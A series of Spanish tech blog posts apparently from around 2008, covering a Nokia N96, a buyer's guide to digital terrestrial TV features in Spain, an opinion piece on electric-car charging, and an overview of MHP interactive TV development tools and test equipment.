ClawGrip

Por fin me ha llegado el Nokia N96. Tiene todo lo que se puede esperar de un buen móvil: 3G, GPS integrado, TDT (DVB-H), 16 GB de almacenamiento interno, zócalo MicroSD, radio FM, cámara de 5 MPixels con óptica Zeiss, completas funciones multimedia y de mensajería, WiFi, etc., y algunas sorpersas agradables, como la inclusión de serie del cargador de coche, los cable para conectar el móvil a la televisión y el cable USB de datos.

# posted by ClawGrip @ 19:59 0 comments

Con la llegada de las “altas prestaciones” al mundillo de los televisores, se ha conseguido acortar tremendamente el periodo de renovación de los aparatos domésticos, y cuando antes un televisor duraba años y años en el salón de casa, a las modernas pantallas planas de alta definición se les intentar dar un periodo de renovación mucho más breve, por una parte mediante la introducción constante de mejoras tecnológicas “imprescindibles” y por otra con componentes de baja calidad que ya de por si son incapaces de resistir más de cinco años sin estropearse.

Esta vorágine de consumo es en cierto modo aceptable siempre que se respete a los que no desean entrar en el juego y se conformen con ver la tele en su viejo Telefunken o Philips K40 de tubo, pero resulta que ahora las reglas del juego han cambiado… La introducción de la TDT en España trae la obligación para los televidentes de renovar sus equipos o adquirir nuevos, pero la elección no es en absoluto sencilla y no es precisamente fácil encontrar a alguien que nos informe con verdadero conocimiento de la situación. Donde antes un televisor apenas tenía características adicionales (teletexto, disponibilidad de euroconector, soporte de estéreo/dual y muy poco más), ahora nos encontramos con una sopa de letras tecnológicas y una cadena de mejoras tecnológicas que parecen haberse escalonado en el tiempo estratégicamente para hacernos renovar equipos en casa todos los años… ¿Revisamos algunos de ellos?

Sonido Envolvente

En el fondo, ya teníamos sonido envolvente multicanal en la televisión analógica gracias a la tecnología Dolby Surround / Dolby Pro Logic combinada con una emisión en estéreo, solo que no recuerdo yo que nadie nunca jamás lo usara, por más que al empezar Los Simpsons viésemos el logotipo de la doble D de Dolby… Pero el caso es que la TDT introduce una mejora sustancial sobre la tecnología anterior, ya que como se emite en digital, los canales pueden enviar el sonido en Dolby Digital o en DTS (Digital Theater System). Y aquí tenemos la primera pregunta: ¿Qué necesito para disfrutar de verdad del Dolby Digital en TDT? Vamos por partes:

El elemento principal que vamos a necesitar (dejando aparte el televisor, claro) es un amplificador compatible Dolby Digital. Una emisión en sonido envolvente multicanal (como su nombre indica) necesita varios canales de sonido, y uno o más altavoces para cada canal, y es el amplificador compatible Dolby el que se encarga de procesar la señal y enviar a cada altavoz lo suyo.

La primera diferencia respecto a tecnologías anteriores es que la tecnología Dolby Digital necesita una conexión digital entre el televisor o el descodificador TDT y el amplificador compatible Dolby, así que aquí tenemos nuestro primer requisito: El descodificador TDT o el televisor con TDT integrado tienen que tener una salida digital de audio. Para complicar un poco las cosas, existen dos tipos de conectores distintos, el RCA, que utiliza cables coaxiales y el TosLink (Toshiba Link), que usa cableado óptico (aunque ambos siguen la misma normativa de audio digital: SPDIF, Sony/Philips Digital InterFace). Como los amplificadores suelen tener ambos, tampoco nos preocupa demasiado cual de los dos tenga, pero tendremos que tenerlo en cuenta a la hora de comprar los cables de conexión. Si tanto nuestro amplificador como nuestro televisor o descodificador TDT soportan ambos formatos, es recomendable usar el conector TosLink con cable de fibra óptica, ya que es inmune a interferencias radioeléctricas (aunque hay que tener cuidado de que no se doble demasiado, ya que es relativamente quebradizo).

Si nuestro televisor o descodificador carece de alguno de estos conectores, aun tenemos una oportunidad de disfrutar de sonido envolvente gracias a la tecnología Dolby Surround, o a su versión mejorada, Dolby Pro Logic / Dolby Pro Logic II. Esta señal no necesita un transporte digital, ya que se intercala entre la señal analógica de un sonido estéreo normal, y como todos los receptores TDT son (o al menos deberían ser) estéreo, pues por ahí no encontramos nada de lo que preocuparnos. ¿Y debe mi amplificador soportar Dolby Pro Logic? ¿Tiene también el canal que emitir en Dolby Pro Logic además de en Dolby Digital? Tampoco hay que preocuparnos por esto, Dolby Digital es completamente compatible con Dolby Surround / Dolby Pro Logic, así que cualquier emisión Dolby Digital que recibamos en estéreo tendrá la señal Pro Logic incorporada, y cualquier amplificador compatible Dolby Digital va a ser capaz de procesarla.

Un par de cosas importantes a tener en cuenta si decidimos prescindir del enlace digital y usar a cambio Dolby Surround / Dolby Pro Logic:

• Mientras que Dolby Digital ofrece normalmente 5.1 canales (cinco direccionales más uno adicional para los sonidos graves), Dolby Surround / Dolby Pro Logic acostumbra a ofrecer únicamente 4 (marcados como 4.0). En cualquier caso, siempre es mejor la calidad del Dolby Digital.
• Si ya disponemos de un amplificador antiguo que soporta Dolby Surround / Dolby Pro Logic, pero no Dolby Digital, no es mala opción ahorrarnos la compra de un amplificador nuevo con conexiones digitales y aprovechar el equipo que ya tenemos.

Alta Definición

Ahora que la venta de televisores con pantalla de Alta Definición está en auge, se plantea iniciar las emisiones de TDT en alta definición (se lleva un tiempo anunciando que las olimpiadas se emitirán en TDT de alta definición), lo que nos trae la segunda cuestión: ¿Qué necesito para ver la TDT en alta definición? Aquí los requisitos con mucho más fáciles de comprobar, los enumeramos por separado:

• Que nuestro receptor de TDT soporte el formato MPEG4/H.264, ya sea integrado en el televisor o externo en un descodificador.
  Aunque las emisiones en alta definición están al caer, no es nada sencillo encontrar equipos que cumplan con este requisito. A día de hoy es casi imposible encontrar un descodificador TDT externo que lo cumpla, y son muy pocos modelos de televisores con TDT los que han incorporado esta característica.
  Si se trata de un televisor con sintonizado TDT compatible con alta definición integrado, este deberá venir indentificado con el logotipo "HD TV".

• Que nuestra pantalla de televisión sea compatible al menos con la resolución 1080i (1920x1080 en modo entrelazado). Esto es muy fácil de comprobar, solo hay que asegurarnos de que el televisor tenga el logotipo “HD Ready” o el logotipo "HD TV" (los logotipos fueron introducidos por la Asociación Europea de Tecnologías de Electrónica de Consumo, Comunicaciones e Información, EICTA). El logotipo "HD Ready" está presente en prácticamente cualquier televisor moderno de pantalla plana.

• Que, si usamos un descodificador externo, la conexión entre este y el televisor se haga mediante conectores compatibles con alta definición. Estos conectores solo pueden ser de dos tipos, los llamados conectores de video por componentes (YPbPr) y el nuevo HDMI (High Definition Multimedia Interface). El primero es en cierta manera desaconsejable (tecnología analógica, usa tres cables, no hay detección automática de formatos panorámicos), por lo que es siempre mejor usar un cable HDMI.

Si nos decidimos por un conexionado HDMI, merece la pena tener en cuenta unos cuantos aspectos:

1. HDMI transporta en un único cable tanto el video como el audio, pero existe una variante llamada DVI (Digital Video Interface) que solo transporta el video. Si nuestra tele tiene conector DVI en vez de HDMI, necesitaremos un adaptador (DVI y HDMI no usan conectores físicamente compatibles) y un cableado adicional para el audio.
2. HDMI en un estándar en plena evolución, con lo que no está demás comprobar que la versión de HDMI que soporta nuestro televisor es la misma que la que soporta el descodificador (la versión más moderna a día de hoy es la 1.3b).
3. Es común encontrar cables HDMI a precios desorbitados (incluso por encima de los 80 €). Como el transporte de la señal se hace digitalmente, no hay mejora de la calidad de imagen o sonido solo por introducir un cable de mejor conductividad o calidad. En la mayoría de las ocasiones, da exactamente el mismo rendimiento un cable de 15 € que uno de 50 €. Sólo en casos donde tengamos muchas interferencias eléctricas o magnéticas (cercanía con aparatos o motores eléctricos de gran potencia, etc.) se hace necesario adquirir un cable de mayor calidad.

Interactividad

La práctica totalidad de canales (o al menos los “principales”) están emitiendo contenido interactivo, y ofrecen ciertos servicios adicionales a través de la TDT, como servicios de administración electrónica, juegos, concursos, información avanzada, etc. Aunque por ahora la calidad y utilidad de estos servicios interactivos es bastante triste, nunca está de más asegurarnos de que nuestro televisor o descodificador TDT es capaz de acceder a ellos, ya que se prevé que en un futuro muy cercano empiecen a aparecer servicios realmente atractivos.

La interactividad en TDT se basa en la normativa MHP (Multimedia Home Platform), y los productos compatibles deben identificarse mediante su correspondiente logotipo.
¿Basta entonces con comprobar que el televisor o el descodificador van etiquetados con el logotipo de MHP? No, en absoluto, el tema es bastante más complicado, enumeramos los puntos básicos a verificar para garantizar la completa compatibilidad con los servicios interactivos:

• Etiquetado con el logotipo MHP. Adicionalmente, es bueno comprobar en la ficha técnica del aparato la versión de MHP que soporta, mejor si es la 1.1.3 o 1.1.2, y como mínimo debe ser compatible con la versión 1.0.2 o 1.0.3.

• Conexión para canal de retorno acorde con nuestra conexión a Internet. Muchas veces los servicios acceden a Internet como medio adicional de comunicación; si disponemos en casa de conexión de banda ancha (ADSL, cable, etc.), debemos comprobar que cuente con conector Ethernet, sino, una conexión de módem (conector telefónico convencional) nos basta.

• Lector de tarjeta inteligente. Ciertos servicios nos van a pedir que nos identifiquemos usando tarjetas inteligentes (como el nuevo DNIe, el DNI electrónico), así que es imprescindible contar con la ranura para leer estas tarjetas. Si el descodificador esta marcado como “Compatible DNI Electrónico”, mejor que mejor.
  El tema del lector de tarjetas es más complicado de lo que parece, ya que podemos tener este lector pero que su uso sea exclusivo para otras funcionalidades (como el acceso condicional) y los servicios interactivos no puedan usarlo, o, incluso, que si esté a disposición de los servicios interactivos pero que sea incompatible con ciertas tarjetas inteligentes. El estar marcado como “Compatible DNIe” (suelen llevar el logotipo de DNIe, o con una pegatina en el frontal o al menos impreso en la caja o mostrado en la publicidad) es garantía de máxima compatibilidad.

TDT de Pago

Otra novedad a punto de aparecer: Canales de TDT en los que debemos pagar por cada programa que queramos ver, ya sea por el tiempo que estemos viéndolos (a veces por programas completos, a veces por minutos) o mediante un modelo de suscripción mensual. ¿Y como va a funcionar la TDT de pago? Pues de forma mucho más sencilla que como funcionan las plataformas actuales de televisión de pago; compraremos tarjetas inteligentes prepago para TDT que podremos recargas cuando agotemos su saldo. Estas tarjetas valdrán para cualquier canal o programa que emita por TDT, da igual la empresa que emita (Tele5, Antena 3, etc.). ¿Y donde insertamos estas tarjetas? Todas los televisores con sintonizador TDT integrado cuentan con una ranura de expansión llamada DVB-CI (Digital Video Broadcasting - Common Interface, igual en formato que las ranuras PCMCIA de los ordenadores portátiles), al cual se le puede acoplar un módulo CAM (Common Access Module, módulo de acceso condicional), al cual a su vez se le puede insertar la tarjeta inteligente prepago de TDT. Paso a paso, los puntos a tener en cuenta son:

• Disponibilidad de una ranura DVB-CI para expansión. Bueno, hemos dicho que todos los televisores con TDT la tienen, pero nadie ha hablado de los descodificadores… ¿La tienen también? Pues como la Unión Europea no obliga a los fabricantes a incorporarla, la mayoría se “han olvidado”. Ya tenemos otro aspecto a verificar si compramos un descodificador TDT.

• Adquisición de un módulo CAM. Como hemos dicho, esto módulos se insertan en la ranura DVB-CI y cuentan a su vez con un zócalo para alojar una tarjeta inteligente. Conviene comentar que algunos descodificadores no tienen ranura DVB-CI pero sí ranura para lectura de tarjeta inteligente ¿Nos vale entonces? En teoría sí, ya que eso significa en la mayoría de los casos que el módulo CAM viene ya integrado y no es necesario añadirlo, pero hay que tener un poco de cuidado:
  
  • Hay que asegurarse de que la ranura para lectura de tarjeta inteligente es compatible con la normativa DVB-CA (acceso condicional).
  • Puede ser que el descodificador necesite software adicional (que en otro caso vendría preinstalado en el módulo CAM), por lo que el fabricante debe proporcionarnos actualizaciones del software del descodificador si es necesario. Y hemos dicho que debe proporcionarnos las actualizaciones (emitiéndolas con la señal de los canales de TDT o por otro medio), y no únicamente asegurarnos que el descodificador es actualizable.

• Adquisición de una tarjeta inteligente prepago para TDT. La idea es que se vendan en kioscos, grandes superficies, etc. con cargas iniciales de saldo que oscilarían entre 10 y 60 €. No os preocupéis por esto, ya se encargarán de publicitarlo bien cuando se pongan a la venta...

Bueno, y yo creo que si encontramos un equipo que soporte todas estas características (tarea difícil), tenemos asegurada la compatibilidad con todas las novedades de la TDT por mucho tiempo, pero seguro que os ha surgido una pregunta: ¿Y porque nadie me ha informado antes de todo esto?

Esa es la pregunta clave. Un usuario mal informado (o no informado en absoluto) casi seguro comprará su televisor o descodificador sin alguna de las prestaciones antes enumeradas, y sí, algunos renovarán equipos para estar a la última y no perderse nada, pero la inmensa mayoría se encontrarán frustrados por no poder acceder a todos los servicios de la TDT y con un buen enfado por no haber comprado otro modelo. ¿Y con quién hay que enfadarse? ¿Con el vendedor? ¿Con el fabricante del televisor? Mi opinión es clara en este sentido: Es responsabilidad de la administración pública el informar de todo esto. Como hemos comentado anteriormente, la TDT no es opcional, no va a coexistir con la televisión analógica, es un cambio obligado decidido por la administración, y es ella la encargada de guiar a los ciudadanos en el cambio.

Pero las campañas informativas que ha puesto en marcha la administración no hablan de todas estas novedades y adelantos, únicamente hablan de que vamos a tener más canales gratuitos y que ofrece mejor calidad, y para que sepamos que comprar en las tiendas ha creado el logo de la TDT, que no garantiza compatibilidad con la interactividad, ni con el DNI electrónico, ni con la alta definición, ni con los futuros contenidos de pago… Eso, sí, si tiene el logo de TDT vamos ver muchos canales gratis, que parece ser lo único importante.

Visto lo visto, parece que la necesidad de un programa de información al ciudadano y etiquetado de productos sobre todas las prestaciones que nos ofrece la TDT empieza a ser una necesidad imperiosa, ya que cuanto más tarde se implantes políticas en este sentido, mayor será el parque de ciudadanos con equipos obsoletos, incompatibles o simplemente limitados en prestaciones. Otra ventaja directa de un programa de etiquetado, acompañado por una mínima homologación de los productos implicados, es el aseguramiento de la compatibilidad. La experiencia de nuestros vecinos italianos nos indica que no todos los televisores con ranuras de expansión DVB-CI son realmente ínter-operables, que no todas las implementaciones de televisión digital interactiva son iguales y en resumen, que si no hay obligación de hacer las cosas bien, pocos son los fabricantes que lo hacen.

# posted by ClawGrip @ 14:58 0 comments

Llevamos ya un tiempo hablando de los coches eléctricos, de que son los vehículos del futuro, de que son una solución al problema de escasez de hidrocarburos y a la contaminación que estos generan... Y el caso es que los fabricantes empiezan a poner modelos en el mercado ¿Habrá llegado la hora de considerar la adquisición un modelo de propulsión eléctrica? Vamos a revisar una cuestión que parece que nadie cuenta cuando se habla de este tema en informativos y en la publicidad:

Un coche eléctrico tarda entre 45 minutos y tres horas en cargar completamente sus baterís, y al menos media hora para una carga parcial. ¿Y dónde cargamos estas baterías? Se nos ofrecen dos alternativas:

Puntos de carga callejeros, al estilo de las gasolineras o autoservicio operados por tarjetas de crédito, monedas o tarjetas prepago.

Vale, ¿y tengo que quedarme media hora en la estación de servicio? No se yo quien puede permitirse estar media hora repostando, pero desde luego que yo no, y mucho menos si la autonomía de estos coches me obliga a repostar varias veces a la semana.
La otra solución que he oido proponer es que se instalen puestos de recarga en las plazas de aparcamiento callejeras, pero eso me suscita unas cuantas preguntas: ¿Cuantos de esos puestos necesitaría una ciudad como Madrid si el 15% de sus coches fuesen eléctricos? Antes de responder a esa pregunta tened en cuenta que los coches no tienen porqué estar concentrados geográficamente en una misma zona, por lo que habría que dispersar geográficamente estos puestos. Está claro que no son pocos, más bien son muchos si queremos dar un servicio correcto, que no obligue a los conductores a desplazarse fuera de su ruta habitual ni a hacer colas prolongadas esperando a que otros conductores dejen libre el puesto. Además, tendría el inconveniente de tener que sumar el coste de la plaza de aparcamiento a lo que cueste la electricidad (son pocas las ciudades sin "zona azul", verde o del color que les de la gana con tal de cobrar por aparcar el coche).
 

Carga mediante una toma normal de 220/240V, para poder cargar el coche en casa.

Pero... ¿Y que pasa si no tengo un garaje individual propio? Pues sencillamente que no puedo cargar el coche. La inmensa mayoría de los conductores o no tenemos plaza, o la tenemos en un aparcamiento comunitario. Por si alguien lo ignora, una plaza en un aparcamiento comunitario, o no tiene toma eléctrica o la tiene con cargo a la comunidad de vecinos, lo cual, o nos impide cargar las baterías o nos toca robar electricidad a los vecinos (no pasarían ni dos semanas sin que se quejase algún vecino y nos denunciasen). Por otra parte, la instalación eléctrica de estos aparcamientos hace muy difícil poner contadores individuales.

Resumiendo, que si quieremos un coche eléctrico y usarlo habitualmente necesitamos un garaje individual con toma eléctrica propia, lo cual se da casi siempre en viviendas unifamiliares, y dados los tiempo que corren, para tener una vivienda unifamiliar con garaje propio hay que tener mucho dinero.

Mi opinión es que esto de los coches eléctricos se perfila como otro "gadget" para ricos que quieran presumir de "comprometidos con el planeta"... No gracias. Mucho (muchísimo) tienen que mejorar los tiempos de carga y la autonomía de los coches eléctricos para que cambie mi percepción sobre ellos.

# posted by ClawGrip @ 14:51 1 comments

Imagen curiosa que encontré en Rianxo (Coruña): una promoción de pisos construidos "Con vistas al futuro". Gracias a Gerardo por descubrir él primero la situación...

# posted by ClawGrip @ 09:50 0 comments

Bueno, ya hemos pasado algo más de un año trabajando en la televisión digital interactiva y va siendo hora de resumir el estado de salud en la que la encontramos:

¿Qué es la televisión digital terrestre interactiva?

Para esto, un resumen rápido: En la televisión digital, junto con las señales de audio y vídeo, viajan otro tipo de datos, como las tablas de información del sistema o tablas SI (que son los metadatos que nos informan de lo que se está emitiendo en cada momento y la programación futura, con lo que los televisores muestran la llamada Guía Electrónica de Programación, o EPG), el teletexto (por ahora es el de siempre, solo que encanutado en digital puro), y lo que se llama carrusel de aplicaciones interactivas. En Europa, las televisiones digitales siguen las normativas marcadas por el Proyecto DVB (Digital Video Broadcasting), DVB-T para TDT, DVB-S/S2 para satélite, DVB-C/C2 para cable, DVB-H para telefonía móvil, etc. Este carrusel es una colección de pequeñas aplicaciones Java que se emiten de forma repetitiva (por eso lo de carrusel), de forma similar al teletexto. En TDT, estas aplicaciones Java siguen la normativa MHP. En otros sistemas de televisión digital se pueden usar otros sistemas, como OpenTV (basada también en Java) en la antigua QuieroTV, MediaHighway en Digital+ (de nuevo basada en Java), MiViewTV en Imagenio (no es más que un navegador Mozilla con una versión un tanto especial de JavaSCript), etc.
Centrándonos en la normativa de la TDT, MHP (Multimedia Home Platform), nos encontramos con una extraña mezcla de normativas Java que intentan cohesionarse como pueden para formar un estándar sólido, enumero las más importantes:

JME PBP 1.1 (Java Micro Edition Personal Basis Profile 1.1)

Bueno, como base del lenguaje Java, MHP toma Java Micro Edition Personal Basis Profile 1.1. Esto es una buena idea, pero hubiese dido mejor si MHP hubiese seguido JME PBP desde un principio, porque las versiones iniciales de MHP (1.0.x) no siguen ninguna edición en concreto (ni JSE ni JME), y al pasar a JME PBP se han introducido ciertas incompatibilidades con las versiones previas de MHP (como por ejemplo las codificaciones por defecto en los textos, que pasan de ANSI a Unicode). Como en España cohexisten descodificadores con 1.0.x y 1.1.x (está última ya JME PBP), los que compraron primero corren el riesgo de comerse sus descodificadores con patatas sino consiguen actualizaciones (pero bueno, como fueron pocos...).

DAVIC (Digital Audio Video Council)

Esto, como si no lo hubiese nombrado. Son una serie de interfaces de programación (API) del año de la polca para tratamiento de audio y video que, la verdad, no es muy común usar en las aplicaciones MHP, excepto en contadas ocasiones...

JavaTV

Esto sí. La base organizativa de las aplicaciones MHP se basa en la especificación JavaTV, un API común con otras normativas de televisión digital interactiva (como OCAP/ACAP en Estados Unidos) que parece que goza de buena salud...

JMF (Java Media Framework)

¿Conoceis el API JMF para reproducción de medios en Java? No me extrañaría que no. La verdad es que es un API bastante olvidado que lleva tiempo sin actualizarse. De todas formas, si JMF para Windows/Linux/Solaris va por la versión 2.1.1 y ya es antiguo... En MHP ha decidido adoptar la 1.0 y limitar sus capacidades: no reproduce video, la reproducción de audio apenas soporta formatos (MP2 y poco más), etc. Resumiendo: muy triste.

SATSA (Security And Trust Services API)

El API de seguridad de JME MIDP (Mobile information Device Profile) llevado a MHP. Parece una buena idea... ¿No? Pues no tanto, me explico: de SATSA, en el fondo, solo se soporta SATSA APDU (Application Protocol Data Unit), que es un API básico para comunicación con un lector de tarjetas inteligentes, quedando no soportadas por MHP SATSA PKI (Public Key Infrastructure), que contiene la parte de certificados digitales y SATSA Crypto, la parte de criptografía. El estado en el que nos deja esto es un tanto extraño, porque para criptografía y certificados usamos la infraestructura de JSE (JCE/JCA, Java Cryptography Extension, Java Cryptography Architecture) y para intercambio de APDU con una tarjeta usamos la infrestructura de JME (para esto en JSE se usa JSR-268, Java SmartCard I/O).
Pero bueno, todo esto sería aceptable si hubiese estado así definido desde el principio, pero no. MHP 1.0 no usaba SATSA, sino OCF (OpenCard Framerwork, un API obsoleto pero muy potente) para el intercambio de comandos con tarjetas, y por si fuese poco, en MHP 1.1.3 se introduce un nuevo API para todo esto, RawConnection, que es más flexible que SATSA y facilita trabajos complejos con tarjetas inteligentes.

DVB-J (Digital Video Broadcasting Java)

Es la parte de MHP dependiente de la normativa de televisión digital usada por debajo. Conviene no usarla más que lo imprescindible, pero siempre es necesario. En otras plataformas que usan MHP pero que no estan normalizadas por DVB, DVB-J se sustituye por otras API quivalentes, como por ejemplo BD-J (BluRay Disc Java) en BluRay (sí, BluRay soporta MHP en las películas).

HAVi (Home Audio Video Interoperability)

HAVi es una colección de elementos de interfaz gráfica basados en el AWT (Abstract Window Toolkit) de JSE y adaptados para su uso en televisión interactiva. Bueno, en el fondo HAVi es mucho más que interfaces gráficas (interoperabilidad e interconexion de equipos de audio y video domésticos por IEE1394), pero MHP solo usa esta parte de él. ¿Algún problema con HAVi? Pues sí. Además de ser algo parco, su principal problema es que un mismo elemento gráfico de HAVi (por ejemplo, un botón en pantalla) se ve distinto según la marca y modelo de descodificador, con lo que no es posible construir interfaces uniformes usando HAVi, y al final termina siendo necesario evitar su uso y contruirse uno mismo los elementos de interfaz usando AWT como base.

Bueno, el caso es que al final, usando todas estas API, una aplicación MHP no deja de ser como una aplicación Java de escritorio (o "cliente pesado") con capacidad de conexión a la red y con la peculiaridad de que el interfaz de entrada es un mando a distancia. Las aplicaciones se descargan por completo por vía aérea (por la antena de televisión) y se ejecutan localmente en el descodificador. Todos los descodificadores que soportan MHP tienen un interfaz de red para que las aplicaciones se conecten, normalmente a Internet. Este interfaz es el llamado "canal de retorno", y es una toma de teléfono con un módem interno en los más cutres y una toma Ethernet (para el ADSL, etc.) en los más completos.

Bueno, visto más o menos, esto es MHP... ¿Necesitamos saber algo más?

Yo añadiría que en el mercado existen principalmente dos implementaciones de MHP, independientemente de la marca que comercialice los descodificadores: Osmosys y Alticast.

Osmosys

De origen suizo (aunque se desarrolla principalmente en Polonia), es una implementación muy completa, puntera (son los primeros en incorporar las nuevas versiones) y de alta calidad. Soporta principalmente procesadores ST y lo encontramos en equipos de las marcas Strong, iCAN, ADB, Inves (no todos), Engel, TeleSystem, Grundig, etc.

Alticast

De origen coreano, es una implementación de bajo coste que implementa lo mínimo imprescindible. Soporta igualmente procesadores ST como primera opción, y aunque existe para otras arquitecturas (como PowerPC), tienen más problemas y conviene evitarlas. Encontramos implementaciones de MHP de Alticast en descodificadores marca HuMAX, Hyundai, Inves (solo un modelo), Maat-Media, etc.

Hay otras implementaciones, como NDS (que montaban hace tiempo los descodificadores de Philips), pero funcionan bastante peor que las dos enteriores y apenas se venden en España.

Y otra cosa... ¿Cómo se desarrollan las aplicaciones MHP?

Pues para esto tenemos dos opciones, o un entorno de autoría, que suponen que con el ratón y sin saber Java se pueden hacer aplicaciones, pero que solo consiguen que construyamos aplicaciones bobas que más parecen una presentación PowerPoint que algo serio, o un entorno de programación serio.

En la primera categoría tenemos productos como iDesigner, Emuse ModelStream, Alticast AltiComposer, Cardinal Studio, etc. En general son todos poco recomendables, y es casi mejor aprender Java y MHP y hacer las aplicaciones uno mismo programando, aunque para hacer cuatro cosillas nos pueden valer. Algunos dejan luego introducir código Java a mano para completar las aplicaciones, aunque hay que tener cuidado, ya que muchas veces no es Java MHP, sino un "scripting" propietario (pasa en AltiComposer, iDesigner, etc.) o Java con interfaces propios (ModelStream).

En la segunda tenemos dos opciones de fiar, Osmosys SDK y NDS MHDK (el precio de una licencia ronda los 3.000 € en ambos casos):

El primero, Osmosys SDK, es un producto de calidad, que se instala como "plugin" de Eclipse y que incluye un emulador software para probar las aplicaciones en PC, así como un interfaz para subir aplicaciones a un descodificador por puerto serie (vale cualquiera que incluya la implementación MHP de Osmosys. La gente de Osmosys es amable solucionando bugs del entorno y el entorno se actualiza con frecuencia. Usa una llave USB como protección anticopia.

El otro, NDS MHDK, se instala como "plugin" de Eclipse o de NetBeans (un buen detalle soportar este último), e incluye también un emulador software, bastante más completo que el de Osmosys, ya que soporta características avanzadas, como tablas SI simuladas y control de parámetros de emisión. El problema es que el emulador simula la implamentación MHP de NDS, que tiene ciertos bugs e incompatibilidades que lo hacen molesto, ya que nos obliga a probar las aplicaciones tanto en su emulador como en descodificadores con Osmosys y Alticast si quieremos asegurarnos que funcionan bien en todos los cacharros (esto pasa también en Osmosys SDK, pero en menor medida). También soporta la carga por puerto serie en descodificadores MHP, aunque solo soporta un modelo de Philips. La gente de NDS en Francia también son muy amables y sin problema envían versiones de evaluación.

Vale, tenemos el entorno de programación... ¿Nos vale con eso? desgraciadamente no. Como cada fabricante ha implementado MHP a su manera (es un problema grave de MHP 1.0.x y 1.1.x, ya que no pasan un conjunto de pruebas severo para homologar las implementaciones), el que tengamos una aplicación funcionando en un entorno de desarrollo y en uno o dos descodificadores hardware no nos garantiza que funcione o se vea bien en todos los del mercado. Si cada fabricante facilitase las herramientas para cargar aplicaciones por puerto serie, nos bastaría con comprar una pila de descodificadores representativa del mercado, pero como no es así, necesitamos montarnos una mini cabecera de televisión para pruebas de aplicaciones MHP. Una configuración mínima consistiría en los siguientes equipos:

Carrusel

Es donde se publican las aplicaciones MHP, suele residir en un hardware dedicado. Hay marcas y modelos para todos los gustos, yo uso uno llamado S&T TSBroadcaster/TSPlayer (en Sun Solaris SPARC), pero podemos también mirar el Alticast AltiSynchro, Thales/Thomson GrassValley, e incluso uno gratuito (bajo Linux), Cineca, de origen italiano. Como todos los componentes de una cabecera de televisión se conectan mediante interfaces ASI (Interfaz Serie Asíncrono), necesitaremos una placa ASI (acostumbran a ser tarjetas PCI), que suele también multiplexar (unir varias señales en una) la señal del carrusel con una externa.
Normalmente, el carrusel nos permite además multiplexar por software una señal de audio y una de video (a partir de un "Transport Stream" MPEG2 en disco) , con lo que ya tenemos todo lo que queremos emitir en una única señal ASI sin necesidad de más cacharros. El precio ronda los 20.000 € con todo el hardware incluido.

Modulador

La señal ASI de salida del carrusel (y las otras señales ASI que tengamos) hay que modularla, normalmente en DVB-T (TDT). El modulador pilla una entrada ASI y nos da una salida modulada, que contectaremos directamente con un cable normal de antena (coaxial 75 Ohm.) a la toma de antena de nuestro descodificador (se suele poner un atenuador, para que no nos de calambrazos al tocar metal, pero no es obligatorio...). Hay moduladores profesionales para rack (yo uso un ProTelevision) o de andar por casa por USB, que incluso pueden ellos multiplexar el audio y el video desde un "Transport Stream" MPEG2 en disco), cosa útil si tu carrusel no lo soporta... ¿El precio? Uno profesional vale unos 20.000 €, y uno USB algo más de 3.000 €.

Servidor de tablas

Esto es opcional, pero si nuestra aplicación necesita leer las tablas SI de metadatos (cosa rara), necesitamos un servidor de tablas, que o lo instalamos con el carrusel y multiplexamos por software o compramos uno aparte (de nuevo mirad Thales/Thomson GrassValley). El precio supera los 10.000 € incluyendo el hardware.

Con este equipo solo necesitamo ya una buena colección de descodificadores MHP (intentando alternar entre los que incorporan MHP de Osmosys y de Alticast, y uno o dos de NDS) e ir probando con nuestra mini cabecera las aplicaciones en todos ellos, asegurándonos que funcionan y se ven bien siempre. Que no se me olvide una cosilla: para crear un "Transport Stream" MPEG 2 en formato DVB podéis usar programas como "MainConcept MPEG Encoder" (hay "cracks" disponibles, por si sois malas personas y os da por piratear) o "Manzanita MP2TSMM" (yo uso este último, usa llave hardware USB como protección, funciona en Windows y Solaris SPARC y vale algo menos de 3.000 €).

Pues sabiendo lo que es MHP, como programarlo y como probar las aplicaciones... ¡Ya estamos listos para crear servicios de televisión digital interactiva!

Lo malo de las aplicaciones de televisión digital interactiva es que no son como las de Internet, en las que un hosting vale dos duros, aquí, quien aloja nuestras aplicaciones, es un canal de televisión, que hay pocos y no tienen especialmente buenos precios... Para hacernos una idea, RTVE viene a cobrar (aprox.) unos XXXXXX € anuales pòr alojar una aplicación con tamaño máximo de 150 Kb. las 24 horas del día. No es especialmente barato ¿verdad? Si os llama la atención el límite de 150 Kb., no es a mala leche, el espacio de carrusel es muy limitado (cuanto más tamaño en Kb. se publique, más lenta irá la descarga, recordad que va en carrusel, por lo que cuando más pesado sea este, más tarda en dar la vuelta), y RTVE prefiere tener 10 o 15 aplicaciones distintas, pequeñitas, bien pensadas y que tarden poco en cargar, que 5 grandes con información que nadie quiere. Las autonómicas suelen relajar un poco este límite, pero tampoco demasiado (unos 300 Kb.). Si estáis pensando en descargar vía aérea lo mínimo imprescindible y luego ya por Internet (a priori sin ningún límite) ir bajando lo que necesitemos, tened un par de cosas en cuenta:

• Muchos descodificadores vendidos (los Engel y los Inves/iCAN, para ser más precisos y nombrar los más extendidos) no tienen Ethernet, solo módem. Ya no es que vaya a ir un poco lento, es que la mayoría de los usuarios no van a conectar sus descodificadores a la línea telefónica, en parte por desconfianza por la factura (completamente justificada), en parte por no tener la línea ocupada.
• MHP 1.0.x y 1.1 (el 100% de los vendidos hasta ahora en españa) no permite descargar código por el canal de retorno y luego ejecutarlo (por seguridad), solo contenidos (fotos, textos, etc.), con lo que no nos libramos de tener que construir aplicaciones muy muy optimizadas.

Otra cosa que diferencia este medio de Internet: si este último tiene cobertura mundial, la televisión digital interactiva tiene una audiencia localizada, que puede ser local, autonómica o nacional (TDT), continental o mundial (satélite) o nacional solo (cable), así que conviene personalizar a tope las aplicaciones al público donde emita el canal que nos aloja.
